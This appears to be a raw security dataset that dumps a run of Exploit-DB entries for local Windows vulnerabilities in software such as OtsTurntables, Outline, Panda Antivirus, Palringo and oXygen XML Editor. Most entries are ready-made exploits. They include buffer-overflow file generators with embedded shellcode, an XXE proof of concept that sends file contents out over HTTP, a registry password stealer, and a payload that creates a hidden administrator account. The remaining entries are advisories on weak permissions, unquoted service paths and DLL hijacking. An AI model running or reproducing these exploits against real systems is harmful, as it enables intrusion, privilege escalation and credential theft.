deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9589
Description: OtsTurntables 1.00.027 - '.m3u' / '.ofl' Universal Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-09-04
Author: hack4love

Exploit:
#!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# OtsTurntables Free 1.00.027 (.m3u/ ofl File) Local Universal BOF Exploit (SEH)
#--->> info:: 1.00.027 was released 3 March 2008
###http://www.brothersoft.com/otsturntables-free-download-86957.html
## Original exploit::http://www.milw0rm.com/exploits/8371
##################################################################
my $bof="\x41" x 884;
my $nsh="\xEB\x06\x90\x90";
my $seh="\xb8\x15\xd1\x72";#TEST UNDER SP2///SP3
my $nop="\x90" x 20;
my $sec=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47".
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48".
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38".
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c".
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44".
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48".
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33".
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37".
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a".
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53".
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57".
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59".
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56".
"\x4e\x56\x43\x46\x42\x30\x5a";
print $bof.$nsh.$seh.$nop.$sec;
###################################################################
open(myfile,'>> HACK4LOVE.m3u');
print myfile $bof.$nsh.$seh.$nop.$sec;
###################################################################

# milw0rm.com [2009-09-04]
Exploit-DB #7765
Description: OtsTurntables 1.00.027 - '.ofl' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-01-14
Author: suN8Hclf

Exploit:
#  OTSTurntables 1.00.027 (.ofl) Local Stack Overflow Exploit
#  Discovered & exploited bY suN8Hclf
#  crimson.loyd@gmail.com, blacksideofthesun.linuxsecured.net
#  Tested on: Windows XP SP2 Polish Full patched
#  
#  Only 274 bytes for shellcode. Wanna more, exploit SEH !!!
#
#  Thanks to Myo and to everyone who knows what hacking really is 
#  Not for money dude, only for fun !!!

print "====================================================================="
print " OTSTurntables 1.00.027 (.ofl) Local Stack Overflow Exploit"
print " bY suN8Hclf (crimson.loyd@gmail.com)"
print "====================================================================="

nops = "\x90" * 4
ret = "\x75\x52\x46";   # call ebx

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
	"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
	"\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
	"\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
	"\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
	"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
	"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
	"\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
	"\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
	"\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
	"\xac\x2c\xc9\x40"
    )
num = 276 - 4 - 160
buff = "\x41" * num

exploit = nops + shellcode + buff + ret
try:
    out_file = open("open_me.ofl",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nNow open open_me.ofl file to exploit bug!\n")
except:
    print "WTF?"

# milw0rm.com [2009-01-14]
Exploit-DB #48414
Description: Outline Service 1.3.3 - 'Outline Service ' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-05-04
Author: Minh Tuan

Exploit:
# Exploit Title: Outline Service 1.3.3  - 'Outline Service ' Unquoted Service Path
# Discovery by: Minh Tuan - SunCSR
# Discovery Date: 2020-05-03
# Vendor Homepage: https://getoutline.org/vi/home
# Software Link : https://raw.githubusercontent.com/Jigsaw-Code/outline-releases/master/client/stable/Outline-Client.exe
# Tested Version: 1.3.3
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 10.0.18363 N/A Build 18363

# Step to discover Unquoted Service Path: 

C:\Users\minht>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
OutlineService      OutlineService      C:\Program Files (x86)\Outline\OutlineService.exe

C:\Users\minht>sc qc OutlineService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: OutlineService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Outline\OutlineService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OutlineService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

# Exploit:
# A successful attempt would require the local user to be able to insert their code in the system root path 
# undetected by the OS or other security applications where it could potentially be executed during 
# application startup or reboot. If successful, the local user's code would execute with the elevated 
# privileges of the application.
Exploit-DB #51128
Description: Outline V1.6.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2023-03-29
Author: Milad karimi

Exploit:
# Exploit Title: Outline V1.6.0 - Unquoted Service Path
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Discovery Date: 2022-11-10
# Vendor Homepage: https://getoutline.org/
# Software Link: https://getoutline.org/
# Tested Version: V1.6.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Microsoft Windows 11 Enterprise
# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

Outline Updater OutlineServiceSvc C:\Program Files (x86)\Outline\OutlineService.exe
                      Auto

C:\>sc qc OutlineService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: OutlineService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Outline\OutlineService.exe
        
LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : OutlineService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>systeminfo

OS Name:  Microsoft Windows 11 Enterprise
OS Version: 10.0.22000 N/A Build 22000
OS Manufacturer: Microsoft Corporation
Exploit-DB #21096
Description: Outlook Express 6 - Attachment Security Bypass
Type: local
Platform: windows
Date: 2001-08-30
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/3271/info

Microsoft Outlook Express 6 contains a new security feature which prevents users from opening potentially harmful file attachments.

A vulnerability exists which allows a file embedded within an HTML frame in an email message to bypass the dangerous file attachment type security feature. When a message containing an attachment embedded in this way is opened or previewed, the user is automatically prompted to open or save the attachment.

If the user attempts to open the file immediately, the action will fail. However, an assembler coded .exe attachment which has had it's extension changed to .bat will execute immediately. Regardless of the extension type, the user is able to save the attachment to disk. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21096.zip
Exploit-DB #29465
Description: Outpost Firewall PRO 4.0 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-01-15
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/22069/info

Outpost Firewall PRO is prone to a local privilege-escalation vulnerability because it fails to perform adequate SSDT (System Service Descriptor Table) hooking on files in its installation directory.

A local attacker can exploit this issue to elevate their privileges, which can lead to the complete compromise of an affected computer.

Outpost Firewall PRO 4.0 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29465.zip
Exploit-DB #51678
Description: OutSystems Service Studio 11.53.30 - DLL Hijacking
Type: local
Platform: windows
Date: 2023-08-10
Author: shinnai

Exploit:
# Exploit Title: OutSystems Service Studio 11.53.30 - DLL Hijacking
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://www.outsystems.com/
# Version: Up to 11.53.30 (Build 61739)
# Tested on: Windows
# CVE : CVE-2022-47636

A DLL hijacking vulnerability has been discovered in OutSystems Service 
Studio 11 11.53.30 build 61739.
When a user open a .oml file (OutSystems Modeling Language), the 
application will load the following DLLs from the same directory:

av_libGLESv2.dll
libcef.DLL
user32.dll
d3d10warp.dll

Using a crafted DLL, it is possible to execute arbitrary code in the 
context of the current logged in user.
Exploit-DB #47658
Description: oXygen XML Editor 21.1.1 - XML External Entity Injection
Type: local
Platform: windows
Date: 2019-11-14
Author: Pablo Santiago

Exploit:
# Exploit Title: oXygen XML Editor 21.1.1 - XML External Entity Injection
# Author: Pablo Santiago
# Date: 2019-11-13
# Vendor Homepage: https://www.oxygenxml.com/
# Source:https://www.oxygenxml.com/xml_editor/download_oxygenxml_editor.html
# Version: 21.1.1
# CVE : N/A
# Tested on: Windows 7

#PoC

1- python -m SimpleHTTPServer 8000
1.1- Poc.xml :
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

1.2.- payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">
%all;
2- File -> Open -> *.xml

#PoC Visual
https://imgur.com/2H8DhL9
Exploit-DB #920
Description: P2P Share Spy 2.2 - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-04-07
Author: Kozan

Exploit:
/*****************************************************************

P2P Share Spy 2.2 Local Exploit by Kozan

Application: P2P Share Spy 2.2
Vendor: Rebrand Software - www.rebrandsoftware.com
Vulnerable Description: P2P Share Spy 2.2 discloses passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char Password[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\VB and VBA Program Settings\\P2P Share Spy\\Settings",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

           lRet = RegQueryValueEx( hKey, "txtPassword", NULL, NULL,(LPBYTE) Password, &dwBufLen);

                       if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
                                RegCloseKey(hKey);
                                printf("Not found!");
                                return 0;
                       }

                               RegCloseKey( hKey );

                       printf("P2P Share Spy 2.2 Local Exploit by Kozan\n");
                       printf("Credits to ATmaCA\n");
                       printf("www.netmagister.com  -  www.spyinstructors.com\n");
                       printf("kozan@netmagister.com\n\n");
                       printf("Program Opening Password : %s\n",Password);

        }
        else{
                printf("P2P Share Spy 2.2 is not installed on your system!\n");
        }

       return 0;
}

// milw0rm.com [2005-04-07]
Exploit-DB #44900
Description: Pale Moon Browser < 27.9.3 - Use After Free (PoC)
Type: local
Platform: windows
Date: 2018-06-18
Author: Berk Cem Göksel

Exploit:
# Exploit Title: Pale Moon Browser < 27.9.3 - Use After Free (PoC) 
# Date: 2018-06-13
# Author - Berk Cem Goksel  
# Vendor Homepage: https://www.palemoon.org/ 
# Software Link: https://www.palemoon.org/palemoon-win32.shtml 
# Version:  Versions prior to 27.9.3 (Tested versions: 27.9.0, 27.9.1, 27.9.2)  
# Tested on: Windows 10 
# Category: Windows Remote Exploit 
# CVE : CVE-2018-12292 


<html>
<head>
<style>
</style>
<script>

function SetVariable(fuzzervars, var_name, var_type) { 
fuzzervars[var_type] = var_name;
 }

function jsfuzzer() {

var var_1 = var_2.getDistributedNodes();
SetVariable(var_1, 'NodeList'); 

}


</script>
</head>
<body onload=jsfuzzer()>
<!-- beginhtml -->
<content id="var_2" loopend="1" default="" max="0" charset="ISO-2022-JP"></content>
<!-- endhtml -->
</body>
</html>
Exploit-DB #35741
Description: Palringo 2.8.1 - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2015-01-10
Author: Mr.ALmfL9

Exploit:
#!/use/bin/perl
# Exploit Title: ‫palringo stack buffer overflow
# Date: 10 January 2015
# Vulnerability discovered by: Mr.ALmfL9
# Vendor Homepage: http://www.palringo.com/
# Software Link: http://www.palringo.com/ar/sa/download/?get=winpc
# Version: 2.8.1
# Tested on: Windows 8.1 
use IO::Socket;
$port  = 8080;
my $payload = "\x41" x 144;
$payload = $payload. "\x42" x 4 ;
$payload = $payload. "\x42" x 9000;
$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";
while($cli=$serv->accept()){
print "[#] port is: $port\n";
print $cli "HTTP/$payload\r\n\r\n";
while(<$cli>){
print $cli;

}
}
#*REFERENCE*
#.1=http://store2.up-00.com/2015-01/[PII_REDACTED]61.png
#.2=http://store2.up-00.com/2015-01/[PII_REDACTED]81.png
Exploit-DB #4257
Description: Panda AntiVirus 2008 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2007-08-05
Author: tarkus

Exploit:
/*
_________________________________________
Security Advisory
_________________________________________
_________________________________________

 Severity: Medium
 Title: Panda Antivirus 2008 Local Privileg Escalation
 Date: 02.08.07
 Author: tarkus (tarkus (at) tiifp (dot) org)
 URL: https://tiifp.org/tarkus
 Vendor: Panda (http://www.pandasoftware.com/)
 Affected Products: Panda Antivirus 2008
 Not Affected Products: - Panda Internetsecurity 2008
                        - Panda Antivirus + Firewall 2008

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


Description:
------------

1.  During  installation  of  Panda Antivirus 2008 the permissions for
installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\
by  default  are  set  to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are started
under LocalSystem  account. There is no protection of service files. It's
possible for unprivileged user to replace service executable with the
file of his choice to get full access with LocalSystem privileges. Or to
get privileges or any user (including system administrator) who logons
to vulnerable host. This can be exploited by:

   a. Rename  PAVSRV51.exe to PAVSRV51.old in Panda folder
   b. Copy any application to PAVSRV51.exe
   c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

BTW: Check this from last year (https://www.securityfocus.com/bid/19891)


POC:
----
*/

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir );

system( szCmdLine );

return 0;
}

// milw0rm.com [2007-08-05]
Exploit-DB #39671
Description: Panda Endpoint Administration Agent < 7.50.00 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-04-06
Author: Kyriakos Economou

Exploit:
* CVE: CVE-2016-3943
* Vendor: Panda Security
* Reported by: Kyriakos Economou
* Date of Release: 05/04/2016
* Affected Products: Multiple
* Affected Version: Panda Endpoint Administration Agent < v7.50.00
* Fixed Version: Panda Endpoint Administration Agent v7.50.00


Description:
Panda Endpoint Administration Agent v7.30.2 allows a local attacker to elevate his privileges from any account type (Guest included) and execute code as SYSTEM, thus completely compromising the affected host.


Affected Products:

Any Panda Security For Business products for Windows using this Agent service are vulnerable.


Technical Details:

Upon installing some Panda Security for Business products for Windows, such as Panda Endpoint Protection/Plus, a service named as 'Panda Endpoint Administration Agent' is installed in the host. This service runs  under the SYSTEM account. However, due to weak ACLs set to the installation directory ("C:\Program Files\Panda Security\WaAgent") of this application and its subdirectories, any user can modify or overwrite any executable module (dynamic link libraries and executables) installed in those directories.


Impact:

A local attacker can elevate his privileges from any user account and execute code as SYSTEM.


Disclosure Log:
Vendor Contacted: 12/01/2016
Public Disclosure: 05/04/2016

Copyright:
Copyright (c) Nettitude Limited 2016, All rights reserved worldwide.

Disclaimer:
The information herein contained may change without notice. Any use of this information is at the user's risk and discretion and is provided with no warranties. Nettitude and the author cannot be held liable for any impact resulting from the use of this information.

Kyriakos Economou
Vulnerability Researcher
Exploit-DB #19855
Description: Panda Security 3.0 - Multiple Vulnerabilities
Type: local
Platform: windows
Date: 2000-04-17
Author: Zan

Exploit:
source: https://www.securityfocus.com/bid/1119/info

Panda Security is a user management application for Windows 9x. With it, certain functions can be prohibited for specific users.

One of the restrictive policies possible is to disable registry editing. However, even with this feature activated, any user can edit the registry by either executing a *.reg file or renaming and then executing regedit.exe. As the restriction settings for Panda are stored in the registry, this weakness negates the effectiveness of the rest of the Panda software.

In addition, users can uninstall Panda Security through the Add/Remove Programs applet in the Control Panel. An error message will appear when the user attempts to uninstall Panda Security. However upon reboot, the application will have been successfully uninstalled.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19855.zip
Exploit-DB #39670
Description: Panda Security URL Filtering < 4.3.1.9 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-04-06
Author: Kyriakos Economou

Exploit:
* CVE: CVE-2015-7378
* Vendor: Panda Security
* Reported by: Kyriakos Economou
* Date of Release: 05/04/2016
* Affected Products: Multiple
* Affected Version: Panda Security URL Filtering < v4.3.1.9
* Fixed Version: Panda Security URL Filtering v4.3.1.9

Description:
All Panda Security 2016 Home User products for Windows are vulnerable to privilege escalation,  which allows a local attacker to execute code as SYSTEM from any account (Guest included), thus completely compromising the affected host.


Affected Products:

Panda Gold Protection 2016 v16.0.1
Panda Global Protection 2016 v16.0.1
Panda Internet Security 2016 v16.0.1
Panda Antivirus Pro 2016 v16.0.1
Panda Free Antivirus v16.0.1


Impact:

A local attacker can elevate his privileges from any user account and execute code as SYSTEM.


Technical Details:

By default all the aforementioned products install (current version:4.3.0.4), which creates a service named 'panda_url_filtering' that runs as SYSTEM.
The executable modules are by default installed in "C:\ProgramData\Panda Security URL Filtering" directory.
However, the ACLs assigned to the directory itself, and to the rest of the installed files, allow any user to modify those files and/or substitute them with malicious ones.
A local attacker can easily execute code with SYSTEM account privileges by modifying or substituting the main executable  module of this service, 'Panda_URL_Filteringb.exe', which will run at the next reboot of the host.


Disclosure Log:
Vendor Contacted: 28/09/2015
Public Disclosure: 05/04/2016

Copyright:
Copyright (c) Nettitude Limited 2016, All rights reserved worldwide.

Disclaimer:
The information herein contained may change without notice. Any use of this information is at the user's risk and  discretion and is provided with no warranties. Nettitude and the author cannot be held liable for any impact resulting  from the use of this information.

Kyriakos Economou
Vulnerability Researcher